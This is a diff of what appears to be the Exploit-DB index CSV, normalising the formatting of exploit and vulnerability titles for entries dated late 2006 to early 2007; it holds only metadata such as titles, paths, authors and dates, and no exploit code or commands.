 2872,platforms/windows/local/2872.c,"VUPlayer <= 2.44 (M3U UNC Name) Buffer Overflow Exploit (c)",2006-11-30,Expanders,windows,local,0
-2873,platforms/windows/local/2873.c,"AtomixMP3 <= 2.3 Malformed M3U Buffer Overflow Exploit",2006-11-30,"Greg Linares",windows,local,0
+2873,platforms/windows/local/2873.c,"AtomixMP3 <= 2.3 - (.M3U) Buffer Overflow Exploit",2006-11-30,"Greg Linares",windows,local,0
 2874,platforms/bsd/dos/2874.pl,"NetBSD FTPd / tnftpd Remote Stack Overflow PoC",2006-11-30,Kingcope,bsd,dos,0
 2876,platforms/php/webapps/2876.txt,"deV!Lz Clanportal [DZCP] <= 1.3.6 Arbitrary File Upload Vulnerability",2006-12-01,"Tim Weber",php,webapps,0
 2877,platforms/php/webapps/2877.txt,"Invision Community Blog Mod 1.2.4 SQL Injection Vulnerability",2006-12-01,n/a,php,webapps,0
-2878,platforms/php/webapps/2878.txt,"ContentServ 4.x (admin/FileServer.php) File Disclosure Vulnerability",2006-12-01,qobaiashi,php,webapps,0
+2878,platforms/php/webapps/2878.txt,"ContentServ 4.x - (admin/FileServer.php) File Disclosure Vulnerability",2006-12-01,qobaiashi,php,webapps,0
 2879,platforms/windows/dos/2879.py,"MS Windows spoolss GetPrinterData() Remote DoS Exploit (0day)",2006-12-01,h07,windows,dos,0
 2880,platforms/windows/local/2880.c,"BlazeVideo HDTV Player <= 2.1 Malformed PLF Buffer Overflow PoC",2006-12-01,"Greg Linares",windows,local,0
 2881,platforms/asp/webapps/2881.txt,"Ultimate HelpDesk (XSS/Local File Disclosure) Vulnerabilities",2006-12-01,ajann,asp,webapps,0
@@ -2597,7 +2597,7 @@ id,file,description,date,author,platform,type,port
 2921,platforms/php/webapps/2921.txt,"mxBB Module mx_modsdb 1.0 Remote File Include Vulnerability",2006-12-12,Lu7k,php,webapps,0
 2922,platforms/windows/dos/2922.txt,"Microsoft Word Document (malformed pointer) Proof of Concept",2006-12-12,DiscoJonny,windows,dos,0
 2923,platforms/php/webapps/2923.txt,"BLOG:CMS <= 4.1.3 (NP_UserSharing.php) Remote Inclusion Vulnerability",2006-12-12,"HACKERS PAL",php,webapps,0
-2924,platforms/php/webapps/2924.txt,"mxBB Module kb_mods <=  2.0.2 Remote Inclusion Vulnerabilities",2006-12-12,3l3ctric-Cracker,php,webapps,0
+2924,platforms/php/webapps/2924.txt,"mxBB Module kb_mods <= 2.0.2 Remote Inclusion Vulnerabilities",2006-12-12,3l3ctric-Cracker,php,webapps,0
 2925,platforms/php/webapps/2925.pl,"mxBB Module newssuite 1.03 Remote File Inclusion Exploit",2006-12-12,3l3ctric-Cracker,php,webapps,0
 2926,platforms/windows/dos/2926.py,"Crob FTP Server 3.6.1 build 263 (LIST/NLST) Denial of Service Exploit",2006-12-13,shinnai,windows,dos,0
 2927,platforms/php/webapps/2927.txt,"PhpMyCms <= 0.3 (basic.inc.php) Remote File Include Vulnerability",2006-12-13,v1per-haCker,php,webapps,0
@@ -2674,7 +2674,7 @@ id,file,description,date,author,platform,type,port
 2999,platforms/php/webapps/2999.pl,"Ultimate PHP Board <= 2.0b1 (chat/login.php) Code Execution Exploit",2006-12-24,nuffsaid,php,webapps,0
 3000,platforms/php/webapps/3000.pl,"Pagetool CMS <= 1.07 (pt_upload.php) Remote File Include Vulnerability",2006-12-24,g00ns,php,webapps,0
 3001,platforms/asp/webapps/3001.txt,"Ananda Real Estate <= 3.4 (agent) Remote SQL Injection Vulnerability",2006-12-24,ajann,asp,webapps,0
-3002,platforms/php/webapps/3002.php,"HLStats <=1.34 (hlstats.php) Remote SQL Injection Exploit",2006-12-25,"Michael Brooks",php,webapps,0
+3002,platforms/php/webapps/3002.php,"HLStats <= 1.34 - (hlstats.php) Remote SQL Injection Exploit",2006-12-25,"Michael Brooks",php,webapps,0
 3003,platforms/php/webapps/3003.txt,"Jinzora <= 2.7 (include_path) Multiple Remote File Include Vulnerabilities",2006-12-25,nuffsaid,php,webapps,0
 3004,platforms/php/webapps/3004.txt,"eNdonesia 8.4 (mod.php/friend.php/admin.php) Multiple Vulnerabilities",2006-12-25,z1ckX(ru),php,webapps,0
 3005,platforms/php/webapps/3005.pl,"MTCMS <= 2.0 (admin/admin_settings.php) Remote File Include Exploit",2006-12-25,nuffsaid,php,webapps,0
@@ -2719,7 +2719,7 @@ id,file,description,date,author,platform,type,port
 3045,platforms/php/webapps/3045.php,"Cacti 0.8.6i (copy_cacti_user.php) SQL Injection Create Admin Exploit",2006-12-30,rgod,php,webapps,0
 3046,platforms/asp/webapps/3046.txt,"SoftArtisans SAFileUp 5.0.14 (viewsrc.asp) Script Source Disclosure",2006-12-30,"Inge Henriksen",asp,webapps,0
 3047,platforms/php/webapps/3047.txt,"FreeStyle Wiki <= 3.6.2 (user.dat) Password Disclosure Vulnerability",2006-12-30,bd0rk,php,webapps,0
-3048,platforms/asp/webapps/3048.pl,"Click N Print Coupons <= V2006.01 (key) Remote SQL Injection Exploit",2006-12-30,ajann,asp,webapps,0
+3048,platforms/asp/webapps/3048.pl,"Click N Print Coupons <= 2006.01 - (key) Remote SQL Injection Exploit",2006-12-30,ajann,asp,webapps,0
 3049,platforms/php/webapps/3049.php,"IMGallery <= 2.5 Create Uploader Script Exploit",2006-12-30,Kacper,php,webapps,0
 3050,platforms/php/webapps/3050.txt,"Enigma 2 Coppermine Bridge (boarddir) Remote File Include Vulnerability",2006-12-30,"Mehmet Ince",php,webapps,0
 3051,platforms/php/webapps/3051.txt,"Enigma 2 WordPress Bridge (boarddir) Remote File Include Vulnerability",2006-12-30,"Mehmet Ince",php,webapps,0
@@ -2777,7 +2777,7 @@ id,file,description,date,author,platform,type,port
 3103,platforms/php/webapps/3103.php,"@lex Guestbook <= 4.0.2 Remote Command Execution Exploit",2007-01-08,DarkFig,php,webapps,0
 3104,platforms/php/webapps/3104.txt,"PPC Search Engine 1.61 (INC) Multiple Remote File Include Vulnerabilities",2007-01-09,IbnuSina,php,webapps,0
 3105,platforms/asp/webapps/3105.txt,"MOTIONBORG Web Real Estate <= 2.1 SQL Injection Vulnerability",2007-01-09,ajann,asp,webapps,0
-3106,platforms/php/webapps/3106.txt,"uniForum <= v4 (wbsearch.aspx) Remote SQL Injection Vulnerability",2007-01-09,ajann,php,webapps,0
+3106,platforms/php/webapps/3106.txt,"uniForum <= 4 - (wbsearch.aspx) Remote SQL Injection Vulnerability",2007-01-09,ajann,php,webapps,0
 3107,platforms/windows/remote/3107.pm,"FileCOPA FTP Server <= 1.01 (LIST) Remote BoF Exploit (meta)",2007-01-09,"Jacopo Cervini",windows,remote,21
 3108,platforms/php/webapps/3108.pl,"Axiom Photo/News Gallery 0.8.6 Remote File Include Exploit",2007-01-09,DeltahackingTEAM,php,webapps,0
 3109,platforms/php/webapps/3109.php,"Wordpress <= 2.0.6 wp-trackback.php Remote SQL Injection Exploit",2007-01-10,rgod,php,webapps,0
@@ -2796,7 +2796,7 @@ id,file,description,date,author,platform,type,port
 3122,platforms/asp/webapps/3122.pl,"DigiAffiliate <= 1.4 (visu_user.asp id) Remote SQL Injection Exploit",2007-01-13,ajann,asp,webapps,0
 3123,platforms/php/webapps/3123.htm,"FdWeB Espace Membre <= 2.01 (path) Remote File Include Exploit",2007-01-13,ajann,php,webapps,0
 3124,platforms/php/webapps/3124.php,"ThWboard <= 3.0b2.84-php5 SQL Injection / Code Execution Exploit",2007-01-14,rgod,php,webapps,0
-3125,platforms/php/webapps/3125.c,"JV2 Folder Gallery 3.0 (download.php) Remote File Disclosure Exploit",2007-01-14,PeTrO,php,webapps,0
+3125,platforms/php/webapps/3125.c,"JV2 Folder Gallery 3.0 0 - (download.php) Remote File Disclosure Exploit",2007-01-14,PeTrO,php,webapps,0
 3126,platforms/windows/dos/3126.c,"WFTPD Pro Server <= 3.25 SITE ADMN Remote Denial of Service Exploit",2007-01-14,Marsu,windows,dos,0
 3127,platforms/windows/dos/3127.c,"Sami FTP Server 2.0.2 (USER/PASS) Remote Buffer Overflow PoC",2007-01-14,Marsu,windows,dos,0
 3128,platforms/windows/dos/3128.c,"BolinTech DreamFTP (USER) Remote Buffer Overflow PoC",2007-01-14,Marsu,windows,dos,0
@@ -2811,7 +2811,7 @@ id,file,description,date,author,platform,type,port
 3139,platforms/osx/dos/3139.rb,"Colloquy <= 2.1.3545 (INVITE) Format String Denial of Service Exploit",2007-01-17,MoAB,osx,dos,0
 3140,platforms/windows/remote/3140.pl,"Sami FTP Server 2.0.2 (USER/PASS) Remote Buffer Overflow Exploit",2007-01-17,UmZ,windows,remote,21
 3141,platforms/php/webapps/3141.pl,"MGB 0.5.4.5 (email.php id variable) Remote SQL Injection Exploit",2007-01-17,SlimTim10,php,webapps,0
-3142,platforms/windows/dos/3142.html,"CCRP Folder Treeview Control (ccrpftv6.ocx) IE Denial of Service Exploit",2007-01-17,shinnai,windows,dos,0
+3142,platforms/windows/dos/3142.html,"CCRP Folder Treeview Control (ccrpftv6.ocx) - IE Denial of Service Exploit",2007-01-17,shinnai,windows,dos,0
 3143,platforms/php/webapps/3143.php,"Woltlab Burning Board <= 1.0.2, 2.3.6 search.php SQL Injection Exploit",2007-01-17,"silent vapor",php,webapps,0
 3144,platforms/php/webapps/3144.pl,"Woltlab Burning Board <= 1.0.2, 2.3.6 search.php SQL Injection Exploit 2",2007-01-17,trew,php,webapps,0
 3145,platforms/php/webapps/3145.txt,"PHPMyphorum 1.5a (mep/frame.php) Remote File Include Vulnerability",2007-01-17,v1per-haCker,php,webapps,0
@@ -2831,11 +2831,11 @@ id,file,description,date,author,platform,type,port
 3159,platforms/windows/local/3159.cpp,"Microsoft Help Workshop 4.03.0002 (.HPJ) Buffer Overflow Exploit",2007-01-19,porkythepig,windows,local,0
 3160,platforms/osx/dos/3160.html,"Transmit.app <= 3.5.5 ftps:// URL Handler Heap Buffer Overflow PoC",2007-01-20,MoAB,osx,dos,0
 3161,platforms/php/webapps/3161.txt,"PhpSherpa (include/config.inc.php) Remote File Include Vulnerability",2007-01-20,3l3ctric-Cracker,php,webapps,0
-3162,platforms/php/webapps/3162.txt,"Bradabra <= 2.0.5 (include/includes.php) Remote  Inclusion Vulnerability",2007-01-20,GoLd_M,php,webapps,0
+3162,platforms/php/webapps/3162.txt,"Bradabra <= 2.0.5 (include/includes.php) Remote Inclusion Vulnerability",2007-01-20,GoLd_M,php,webapps,0
 3163,platforms/php/webapps/3163.txt,"Neon Labs Website <= 3.2 (nl.php g_strRootDir) Remote Inclusion Vuln",2007-01-20,3l3ctric-Cracker,php,webapps,0
 3164,platforms/php/webapps/3164.pl,"phpIndexPage <= 1.0.1 (config.php) Remote Inclusion Exploit",2007-01-20,DeltahackingTEAM,php,webapps,0
 3165,platforms/php/webapps/3165.txt,"MySpeach <= 2.1b (up.php) Remote Inclusion Vulnerability",2007-01-20,3l3ctric-Cracker,php,webapps,0
-3166,platforms/osx/dos/3166.html,"Apple iChat 3.1.6 v441 aim:// URL Handler Format String Exploit PoC",2007-01-21,MoAB,osx,dos,0
+3166,platforms/osx/dos/3166.html,"Apple iChat 3.1.6 441 - aim:// URL Handler Format String Exploit PoC",2007-01-21,MoAB,osx,dos,0
 3167,platforms/osx/dos/3167.c,"Mac OS X 10.4.x Kernel shared_region_map_file_np() Memory Corruption",2007-01-21,"Adriano Lima",osx,dos,0
 3168,platforms/windows/remote/3168.java,"Sun Microsystems Java GIF File Parsing Memory Corruption Exploit",2007-01-21,luoluo,windows,remote,0
 3169,platforms/php/webapps/3169.txt,"WebChat 0.77 (defines.php WEBCHATPATH) Remote File Include Vuln",2007-01-21,v1per-haCker,php,webapps,0
@@ -2856,13 +2856,13 @@ id,file,description,date,author,platform,type,port
 3184,platforms/php/webapps/3184.txt,"phpXD <= 0.3 (path) Remote File Inclusion Vulnerability",2007-01-23,3l3ctric-Cracker,php,webapps,0
 3185,platforms/php/webapps/3185.txt,"RPW 1.0.2 (config.php sql_language) Remote File Inclusion Vulnerability",2007-01-24,3l3ctric-Cracker,php,webapps,0
 3186,platforms/asp/webapps/3186.txt,"ASP EDGE <= 1.2b (user.asp) Remote SQL Injection Vulnerability",2007-01-24,ajann,asp,webapps,0
-3187,platforms/asp/webapps/3187.txt,"ASP NEWS <= v3 (news_detail.asp) Remote SQL Injection Vulnerability",2007-01-24,ajann,asp,webapps,0
+3187,platforms/asp/webapps/3187.txt,"ASP NEWS <= 3.0 - (news_detail.asp) Remote SQL Injection Vulnerability",2007-01-24,ajann,asp,webapps,0
 3189,platforms/hardware/remote/3189.sh,"PA168 Chipset IP Phones Weak Session Management Exploit",2007-01-24,"Adrian ""pagvac"" Pastor",hardware,remote,0
 3190,platforms/windows/dos/3190.py,"MS Windows Explorer (AVI) Unspecified Denial of Service Exploit",2007-01-24,shinnai,windows,dos,0
 3191,platforms/php/webapps/3191.txt,"vhostadmin 0.1 (MODULES_DIR) Remote File Inclusion Vulnerability",2007-01-24,3l3ctric-Cracker,php,webapps,0
 3192,platforms/php/webapps/3192.pl,"Xero Portal (phpbb_root_path) Remote File Include Vulnerablity",2007-01-24,"Mehmet Ince",php,webapps,0
 3193,platforms/windows/dos/3193.py,"Microsoft Excel Malformed Palette Record DoS PoC (MS07-002)",2007-01-25,LifeAsaGeek,windows,dos,0
-3194,platforms/asp/webapps/3194.txt,"makit Newsposter Script v3 Remote SQL Injection Vulnerability",2007-01-25,ajann,asp,webapps,0
+3194,platforms/asp/webapps/3194.txt,"makit Newsposter Script 3.0 - Remote SQL Injection Vulnerability",2007-01-25,ajann,asp,webapps,0
 3195,platforms/asp/webapps/3195.txt,"GPS CMS 1.2 (print.asp) Remote SQL Injection Vulnerability",2007-01-25,ajann,asp,webapps,0
 3196,platforms/php/webapps/3196.php,"Aztek Forum 4.0 Multiple Vulnerabilities Exploit",2007-01-25,DarkFig,php,webapps,0
 3197,platforms/asp/webapps/3197.txt,"Forum Livre 1.0 (SQL Injection / XSS) Multiple Remote Vulnerabilities",2007-01-25,ajann,asp,webapps,0
@@ -2899,7 +2899,7 @@ id,file,description,date,author,platform,type,port
 3229,platforms/windows/dos/3229.py,"Dev-C++ 4.9.9.2 CPP File Parsing Local Stack Overflow PoC",2007-01-30,shinnai,windows,dos,0
 3230,platforms/osx/dos/3230.rb,"Apple iChat Bonjour 3.1.6.441 Multiple Denial of Service Exploit",2007-01-30,MoAB,osx,dos,0
 3231,platforms/php/webapps/3231.txt,"phpBB2 MODificat <= 0.2.0 (functions.php) Remote Include Vulnerability",2007-01-30,"Mehmet Ince",php,webapps,0
-3232,platforms/php/webapps/3232.txt,"Michelles L2J Dropcalc <= v4 Remote SQL Injection Vulnerability",2007-01-31,Codebreak,php,webapps,0
+3232,platforms/php/webapps/3232.txt,"Michelles L2J Dropcalc <= 4 - Remote SQL Injection Vulnerability",2007-01-31,Codebreak,php,webapps,0
 3233,platforms/asp/webapps/3233.txt,"Fullaspsite Asp Hosting Sitesi (tr) SQL Injection Vulnerability",2007-01-31,cl24zy,asp,webapps,0
 3234,platforms/php/webapps/3234.txt,"ExoPHPDesk <= 1.2.1 (faq.php) Remote SQL Injection Vulnerability",2007-01-31,ajann,php,webapps,0
 3235,platforms/php/webapps/3235.txt,"Phpbb Tweaked <= 3 (phpbb_root_path) Remote Inclusion Vulnerability",2007-01-31,"Mehmet Ince",php,webapps,0
@@ -2907,7 +2907,7 @@ id,file,description,date,author,platform,type,port
 3237,platforms/php/webapps/3237.txt,"Cadre PHP Framework Remote File Include Vulnerability",2007-01-31,y3dips,php,webapps,0
 3238,platforms/php/webapps/3238.txt,"PHPMyRing <= 4.1.3b (fichier) Remote File Include Vulnerability",2007-01-31,ajann,php,webapps,0
 3239,platforms/php/webapps/3239.htm,"Extcalendar <= 2 (profile.php) Remote User Pass Change Exploit",2007-01-31,ajann,php,webapps,0
-3240,platforms/php/webapps/3240.txt,"JV2 Folder Gallery <= 3.0 Remote File Include Vulnerability",2007-01-31,"ThE dE@Th",php,webapps,0
+3240,platforms/php/webapps/3240.txt,"JV2 Folder Gallery <= 3.0 - Remote File Include Vulnerability",2007-01-31,"ThE dE@Th",php,webapps,0
 3241,platforms/asp/webapps/3241.txt,"Hunkaray Duyuru Scripti (tr) Remote SQL Injection Exploit",2007-01-31,cl24zy,asp,webapps,0
 3242,platforms/php/webapps/3242.txt,"Omegaboard <= 1.0beta4 (functions.php) Remote File Include Vuln",2007-01-31,"Mehmet Ince",php,webapps,0
 3243,platforms/php/webapps/3243.txt,"Cerulean Portal System 0.7b Remote File Include Vulnerability",2007-01-31,"Mehmet Ince",php,webapps,0
@@ -2940,7 +2940,7 @@ id,file,description,date,author,platform,type,port
 3270,platforms/php/webapps/3270.pl,"Categories hierarchy phpBB Mod 2.1.2 (phpbb_root_path) RFI Exploit",2007-02-05,"Mehmet Ince",php,webapps,0
 3271,platforms/php/webapps/3271.php,"GGCMS <= 1.1.0 RC1 Remote Code Execution Exploit",2007-02-05,Kacper,php,webapps,0
 3272,platforms/windows/dos/3272.html,"MS Internet Explorer 6 (mshtml.dll) Null Pointer Dereference Exploit",2007-02-05,AmesianX,windows,dos,0
-3273,platforms/tru64/local/3273.ksh,"HP Tru64 Alpha OSF1 v5.1 (ps) Information Leak Exploit",2007-02-06,bunker,tru64,local,0
+3273,platforms/tru64/local/3273.ksh,"HP Tru64 Alpha OSF1 5.1 - (ps) Information Leak Exploit",2007-02-06,bunker,tru64,local,0
 3274,platforms/windows/remote/3274.txt,"MySQL 4.x/5.0 User-Defined Function Command Execution Exploit (win)",2007-02-06,"Marco Ivaldi",windows,remote,3306
 3275,platforms/php/webapps/3275.txt,"LightRO CMS 1.0 (inhalt.php) Remote File Include Vulnerability",2007-02-06,ajann,php,webapps,0
 3276,platforms/windows/dos/3276.cpp,"FlashFXP 3.4.0 build 1145 Remote Buffer Overflow DoS Exploit",2007-02-06,Marsu,windows,dos,0
@@ -2964,7 +2964,7 @@ id,file,description,date,author,platform,type,port
 3294,platforms/hardware/remote/3294.txt,"IP3 NetAccess < 4.1.9.6 Remote Arbitrary File Disclosure Vulnerability",2007-02-11,"Sebastian Wolfgarten",hardware,remote,80
 3295,platforms/asp/webapps/3295.txt,"Philboard <= 1.14 (philboard_forum.asp) SQL Injection Vulnerability",2007-02-12,"Mehmet Ince",asp,webapps,0
 3296,platforms/windows/remote/3296.c,"uTorrent 1.6 build 474 (announce) Key Remote Heap Overflow Exploit",2007-02-12,defsec,windows,remote,0
-3297,platforms/php/webapps/3297.htm,"AT Contenator <= v1.0 (Root_To_Script) Remote File Include Exploit",2007-02-13,ajann,php,webapps,0
+3297,platforms/php/webapps/3297.htm,"AT Contenator <= 1.0 - (Root_To_Script) Remote File Include Exploit",2007-02-13,ajann,php,webapps,0
 3298,platforms/php/webapps/3298.pl,"Xaran Cms <= 2.0 (xarancms_haupt.php) SQL Injection Exploit",2007-02-13,ajann,php,webapps,0
 3299,platforms/php/webapps/3299.pl,"phpCC <= 4.2 beta (nickpage.php npid) Remote SQL Injection Exploit",2007-02-13,ajann,php,webapps,0
 3300,platforms/php/webapps/3300.pl,"Advanced Poll <= 2.0.5-dev Remote Code Execution Exploit",2007-02-13,diwou,php,webapps,0
@@ -2979,15 +2979,15 @@ id,file,description,date,author,platform,type,port
 3309,platforms/php/webapps/3309.txt,"Jupiter CMS 1.1.5 (index.php) Local/Remote File Include Vulnerability",2007-02-14,DarkFig,php,webapps,0
 3310,platforms/php/webapps/3310.php,"Jupiter CMS 1.1.5 (Client-IP) Remote SQL Injection Exploit",2007-02-14,DarkFig,php,webapps,0
 3311,platforms/php/webapps/3311.php,"Jupiter CMS 1.1.5 Remote File Upload Exploit",2007-02-14,DarkFig,php,webapps,0
-3312,platforms/php/webapps/3312.pl,"Drupal < 5.1 (post comments) Remote Command Execution Exploit v2",2007-02-15,str0ke,php,webapps,0
-3313,platforms/php/webapps/3313.pl,"Drupal < 4.7.6 (post comments) Remote Command Execution Exploit v2",2007-02-15,str0ke,php,webapps,0
+3312,platforms/php/webapps/3312.pl,"Drupal < 5.1 - (post comments) Remote Command Execution Exploit (2)",2007-02-15,str0ke,php,webapps,0
+3313,platforms/php/webapps/3313.pl,"Drupal < 4.7.6 - (post comments) Remote Command Execution Exploit (2)",2007-02-15,str0ke,php,webapps,0
 3314,platforms/php/webapps/3314.txt,"ZebraFeeds 1.0 (zf_path) Remote File Include Vulnerabilities",2007-02-15,"ThE dE@Th",php,webapps,0
 3315,platforms/php/webapps/3315.txt,"nabopoll 1.2 (survey.inc.php path) Remote File Include Vulnerability",2007-02-15,Cr@zy_King,php,webapps,0
 3317,platforms/asp/webapps/3317.txt,"CodeAvalanche News 1.x (CAT_ID) Remote SQL Injection Vulnerability",2007-02-15,beks,asp,webapps,0
 3318,platforms/asp/webapps/3318.txt,"Aktueldownload Haber scripti (id) Remote SQL Injection Vulnerability",2007-02-15,"Mehmet Ince",asp,webapps,0
 3319,platforms/windows/remote/3319.pl,"MailEnable Enterprise <= 2.32 - 2.34 Remote Buffer Overflow Exploit",2007-02-16,mu-b,windows,remote,143
 3320,platforms/windows/remote/3320.pl,"MailEnable Professional 2.35 Remote Buffer Overflow Exploit",2007-02-16,mu-b,windows,remote,143
-3321,platforms/asp/webapps/3321.txt,"Snitz Forums 2000 v3.1 SR4 (pop_profile.asp) SQL Injection Vulnerability",2007-02-16,"Mehmet Ince",asp,webapps,0
+3321,platforms/asp/webapps/3321.txt,"Snitz Forums 2000 3.1 SR4 - (pop_profile.asp) SQL Injection Vulnerability",2007-02-16,"Mehmet Ince",asp,webapps,0
 3322,platforms/php/webapps/3322.htm,"VS-News-System <= 1.2.1 (newsordner) Remote File Include Exploit",2007-02-16,ajann,php,webapps,0
 3323,platforms/php/webapps/3323.htm,"VS-Link-Partner <= 2.1 (script_pfad) Remote File Include Exploit",2007-02-16,ajann,php,webapps,0
 3324,platforms/php/webapps/3324.txt,"Htaccess Passwort Generator 1.1 (ht_pfad) RFI Vulnerability",2007-02-16,kezzap66345,php,webapps,0
@@ -3040,10 +3040,10 @@ id,file,description,date,author,platform,type,port
 3372,platforms/php/webapps/3372.php,"CS-Gallery 2.0 (index.php album) Remote File Include Exploit",2007-02-24,burncycle,php,webapps,0
 3373,platforms/php/webapps/3373.pl,"phpBB Module NoMoKeTos Rules 0.0.1 Remote File Include Exploit",2007-02-24,bd0rk,php,webapps,0
 3374,platforms/php/webapps/3374.txt,"PHP-MIP 0.1 (top.php laypath) Remote File Include Vulnerability",2007-02-25,GoLd_M,php,webapps,0
-3375,platforms/multiple/remote/3375.pl,"Oracle 10g KUPW$WORKER.MAIN SQL Injection Exploit v2",2007-02-26,bunker,multiple,remote,0
-3376,platforms/multiple/remote/3376.pl,"Oracle 10g KUPV$FT.ATTACH_JOB SQL Injection Exploit v2",2007-02-26,bunker,multiple,remote,0
-3377,platforms/multiple/remote/3377.pl,"Oracle 9i/10g DBMS_METADATA.GET_DDL SQL Injection Exploit v2",2007-02-26,bunker,multiple,remote,0
-3378,platforms/multiple/remote/3378.pl,"Oracle 9i/10g ACTIVATE_SUBSCRIPTION SQL Injection Exploit v2",2007-02-26,bunker,multiple,remote,0
+3375,platforms/multiple/remote/3375.pl,"Oracle 10g KUPW$WORKER.MAIN - SQL Injection Exploit (2)",2007-02-26,bunker,multiple,remote,0
+3376,platforms/multiple/remote/3376.pl,"Oracle 10g KUPV$FT.ATTACH_JOB - SQL Injection Exploit (2)",2007-02-26,bunker,multiple,remote,0
+3377,platforms/multiple/remote/3377.pl,"Oracle 9i/10g DBMS_METADATA.GET_DDL - SQL Injection Exploit (2)",2007-02-26,bunker,multiple,remote,0
+3378,platforms/multiple/remote/3378.pl,"Oracle 9i/10g ACTIVATE_SUBSCRIPTION - SQL Injection Exploit (2)",2007-02-26,bunker,multiple,remote,0
 3379,platforms/php/webapps/3379.php,"STWC-Counter <= 3.4.0 (downloadcounter.php) RFI Exploit",2007-02-26,burncycle,php,webapps,0
 3380,platforms/windows/remote/3380.txt,"Kiwi CatTools TFTP <= 3.2.8 Remote Path Traversal Vulnerability",2007-02-27,"Sergey Gordeychik",windows,remote,0
 3381,platforms/windows/remote/3381.pl,"NetProxy <= 4.03 Web Filter Evasion / Bypass Logging Exploit",2007-02-27,"Craig Heffner",windows,remote,0
@@ -3084,18 +3084,18 @@ id,file,description,date,author,platform,type,port
 3417,platforms/windows/local/3417.php,"PHP <= 4.4.6 mssql_[p]connect() Local Buffer Overflow Exploit",2007-03-05,rgod,windows,local,0
 3418,platforms/windows/dos/3418.pl,"Mercury/32 Mail Server <= 4.01b (check) Buffer Overflow Exploit PoC",2007-03-06,mu-b,windows,dos,0
 3419,platforms/windows/dos/3419.txt,"MS Windows (.doc File) Malformed Pointers Denial of Service Exploit",2007-03-06,Marsu,windows,dos,0
-3420,platforms/windows/remote/3420.html,"WinZip <= 10.0.7245 FileView ActiveX Buffer Overflow Exploit v2",2007-03-06,prdelka,windows,remote,0
+3420,platforms/windows/remote/3420.html,"WinZip <= 10.0.7245 - FileView ActiveX Buffer Overflow Exploit (2)",2007-03-06,prdelka,windows,remote,0
 3421,platforms/windows/dos/3421.html,"Macromedia 10.1.4.20 SwDir.dll Internet Explorer Stack Overflow DoS",2007-03-07,shinnai,windows,dos,0
-3422,platforms/windows/remote/3422.pl,"Winamp <= 5.12 (Crafted PLS) Remote Buffer Overflow Exploit (perl)",2007-03-07,"Umesh Wanve",windows,remote,0
+3422,platforms/windows/remote/3422.pl,"Winamp <= 5.12 - (.pls) Remote Buffer Overflow Exploit (Perl Version)",2007-03-07,"Umesh Wanve",windows,remote,0
 3423,platforms/php/webapps/3423.txt,"PHP-Nuke Module PostGuestbook 0.6.1 (tpl_pgb_moddir) RFI Vulnerability",2007-03-07,GoLd_M,php,webapps,0
 3424,platforms/multiple/local/3424.php,"PHP <= 5.2.1 substr_compare() Information Leak Exploit",2007-03-07,"Stefan Esser",multiple,local,0
 3425,platforms/multiple/remote/3425.txt,"mod_security <= 2.1.0 (ASCIIZ byte) POST Rules Bypass Vulnerability",2007-03-07,"Stefan Esser",multiple,remote,0
 3426,platforms/linux/local/3426.php,"PHP < 4.4.5 / 5.2.1 (shmop Functions) Local Code Execution Exploit",2007-03-07,"Stefan Esser",linux,local,0
 3427,platforms/linux/local/3427.php,"PHP < 4.4.5 / 5.2.1 (shmop) SSL RSA Private-Key Disclosure Exploit",2007-03-07,"Stefan Esser",linux,local,0
-3428,platforms/php/webapps/3428.txt,"Flat Chat 2.0 (include online.txt)  Remote Code Execution Vulnerability",2007-03-07,Dj7xpl,php,webapps,0
+3428,platforms/php/webapps/3428.txt,"Flat Chat 2.0 (include online.txt) Remote Code Execution Vulnerability",2007-03-07,Dj7xpl,php,webapps,0
 3429,platforms/windows/local/3429.php,"PHP COM extensions (inconsistent Win32) safe_mode Bypass Exploit",2007-03-07,n/a,windows,local,0
 3430,platforms/windows/dos/3430.html,"Adobe Reader plug-in AcroPDF.dll 8.0.0.0 Resource Consumption",2007-03-08,shinnai,windows,dos,0
-3431,platforms/windows/local/3431.php,"PHP 4.4.6 crack_opendict() Local Buffer Overflow  Exploit PoC",2007-03-08,rgod,windows,local,0
+3431,platforms/windows/local/3431.php,"PHP 4.4.6 crack_opendict() Local Buffer Overflow Exploit PoC",2007-03-08,rgod,windows,local,0
 3432,platforms/windows/dos/3432.pl,"TFTPDWIN Server 0.4.2 (UDP) Denial of Service Exploit",2007-03-08,"Umesh Wanve",windows,dos,0
 3433,platforms/windows/dos/3433.html,"Rediff Toolbar ActiveX Control Remote Denial of Service Exploit",2007-03-08,"Umesh Wanve",windows,dos,0
 3434,platforms/multiple/dos/3434.c,"Snort 2.6.1.1/2.6.1.2/2.7.0 (fragementation) Remote DoS Exploit",2007-03-08,Antimatt3r,multiple,dos,0
@@ -3112,7 +3112,7 @@ id,file,description,date,author,platform,type,port
 3447,platforms/php/webapps/3447.txt,"Grayscale Blog 0.8.0 (Security Bypass/SQL/XSS) Multiple Remote Vulns",2007-03-09,Omni,php,webapps,0
 3448,platforms/php/webapps/3448.txt,"WORK system e-commerce <= 3.0.5 Remote File Inclusion Vulnerability",2007-03-10,"Rodrigo Duarte",php,webapps,0
 3449,platforms/php/webapps/3449.txt,"HC Newssystem 1.0-1.4 (index.php ID) Remote SQL Injection Vulnerability",2007-03-10,WiLdBoY,php,webapps,0
-3450,platforms/php/webapps/3450.php,"NukeSentinel <= 2.5.06 (mysql >= 4.0.24) Remote SQL Injection Exploit",2007-03-10,DarkFig,php,webapps,0
+3450,platforms/php/webapps/3450.php,"NukeSentinel <= 2.5.06 (MySQL => 4.0.24) - Remote SQL Injection Exploit",2007-03-10,DarkFig,php,webapps,0
 3451,platforms/windows/local/3451.c,"Oracle 10g (PROCESS_DUP_HANDLE) Local Privilege Elevation (win32)",2007-03-10,"Cesar Cerrudo",windows,local,0
 3452,platforms/multiple/remote/3452.php,"PHP <= 5.2.0 ext/filter FDF Post Filter Bypass Exploit",2007-03-10,"Stefan Esser",multiple,remote,0
 3453,platforms/windows/dos/3453.py,"MS Windows DCE-RPC svcctl ChangeServiceConfig2A() Memory Corruption",2007-03-10,h07,windows,dos,0
@@ -3148,11 +3148,11 @@ id,file,description,date,author,platform,type,port
 3484,platforms/php/webapps/3484.txt,"WebLog (index.php file) Remote File Disclosure Vulnerability",2007-03-15,Dj7xpl,php,webapps,0
 3485,platforms/php/webapps/3485.txt,"Company WebSite Builder PRO 1.9.8 (INCLUDE_PATH) RFI Vulnerability",2007-03-15,the_day,php,webapps,0
 3486,platforms/php/webapps/3486.txt,"Groupit 2.00b5 (c_basepath) Remote File Inclusion Vulnerability",2007-03-15,the_day,php,webapps,0
